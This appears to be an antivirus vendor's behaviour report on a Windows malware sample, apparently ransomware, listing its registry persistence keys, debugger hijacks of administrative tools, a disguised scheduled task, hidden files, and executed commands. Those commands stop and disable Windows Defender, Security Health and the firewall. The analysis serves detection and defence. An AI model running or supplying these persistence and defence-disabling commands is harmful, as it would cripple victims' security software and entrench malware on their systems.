Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe,"<DRIVERS>\etc\svchost32.exe"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Userinit' = '<SYSTEM32>\userinit.exe,"<DRIVERS>\etc\svchost32.exe",'
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] '*WindowsInit' = '"<DRIVERS>\etc\svchost32.exe"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pwsh.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskschd.msc] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\control.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eventvwr.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\resmon.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.msc] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\compmgmt.msc] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devmgmt.msc] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskmgmt.msc] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gpedit.msc] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
Creates or modifies the following files
- <SYSTEM32>\tasks\microsoft\windows\windowsupdate\svchost
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
- Registry Editor (RegEdit)
- Windows Defender
modifies the following system settings:
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoClose' = '00000001'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoLogoff' = '00000001'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoClose' = '00000001'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoLogoff' = '00000001'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableIOAVProtection $true"
Modifies file system
Creates the following files
- <DRIVERS>\etc\$unlocker_id.ux-cryptobytes
- <DRIVERS>\etc\$boot_marker.tmp
- <DRIVERS>\etc\svchost32.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<File name>.exe.log
- %TEMP%\catcrypt_show.vbs
Sets the 'hidden' attribute to the following files
- <DRIVERS>\etc\$unlocker_id.ux-cryptobytes
- <DRIVERS>\etc\$boot_marker.tmp
- <DRIVERS>\etc\svchost32.exe
Miscellaneous
Creates and executes the following
- '<DRIVERS>\etc\svchost32.exe'
Executes the following
- '<SYSTEM32>\cmd.exe' /c schtasks /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "<DRIVERS>\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "<DRIVERS>\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisablePrivacyMode $true"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -SignatureDisableUpdate $true"
- '<SYSTEM32>\cmd.exe' /c sc stop WinDefend
- '<SYSTEM32>\sc.exe' stop WinDefend
- '<SYSTEM32>\cmd.exe' /c sc config WinDefend start=disabled
- '<SYSTEM32>\sc.exe' config WinDefend start=disabled
- '<SYSTEM32>\cmd.exe' /c sc stop SecurityHealthService
- '<SYSTEM32>\sc.exe' stop SecurityHealthService
- '<SYSTEM32>\cmd.exe' /c sc config SecurityHealthService start=disabled
- '<SYSTEM32>\sc.exe' config SecurityHealthService start=disabled
- '<SYSTEM32>\cmd.exe' /c sc stop WdFilter
- '<SYSTEM32>\sc.exe' stop WdFilter
- '<SYSTEM32>\cmd.exe' /c sc config WdFilter start=disabled
- '<SYSTEM32>\sc.exe' config WdFilter start=disabled
- '<SYSTEM32>\cmd.exe' /c sc stop WdNisDrv
- '<SYSTEM32>\sc.exe' stop WdNisDrv
- '<SYSTEM32>\cmd.exe' /c sc config WdNisDrv start=disabled
- '<SYSTEM32>\sc.exe' config WdNisDrv start=disabled
- '<SYSTEM32>\cmd.exe' /c sc stop WdNisSvc
- '<SYSTEM32>\sc.exe' stop WdNisSvc
- '<SYSTEM32>\cmd.exe' /c sc config WdNisSvc start=disabled
- '<SYSTEM32>\sc.exe' config WdNisSvc start=disabled
- '<SYSTEM32>\cmd.exe' /c sc stop WdBoot
- '<SYSTEM32>\sc.exe' stop WdBoot
- '<SYSTEM32>\cmd.exe' /c sc config WdBoot start=disabled
- '<SYSTEM32>\sc.exe' config WdBoot start=disabled
- '<SYSTEM32>\cmd.exe' /c sc stop MpsSvc
- '<SYSTEM32>\sc.exe' stop MpsSvc
- '<SYSTEM32>\cmd.exe' /c sc config MpsSvc start=disabled
- '<SYSTEM32>\sc.exe' config MpsSvc start=disabled
- '<DRIVERS>\etc\svchost32.exe' ' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "<DRIVERS>\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBehaviorMonitoring $true"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableIOAVProtection $true"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisablePrivacyMode $true"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -SignatureDisableUpdate $true"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc stop WinDefend' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc config WinDefend start=disabled' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc stop SecurityHealthService' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc config SecurityHealthService start=disabled' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc stop WdFilter' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc config WdFilter start=disabled' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc stop WdNisDrv' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc config WdNisDrv start=disabled' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc stop WdNisSvc' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc config WdNisSvc start=disabled' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc stop WdBoot' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc config WdBoot start=disabled' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc stop MpsSvc' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc config MpsSvc start=disabled' (with hidden window)
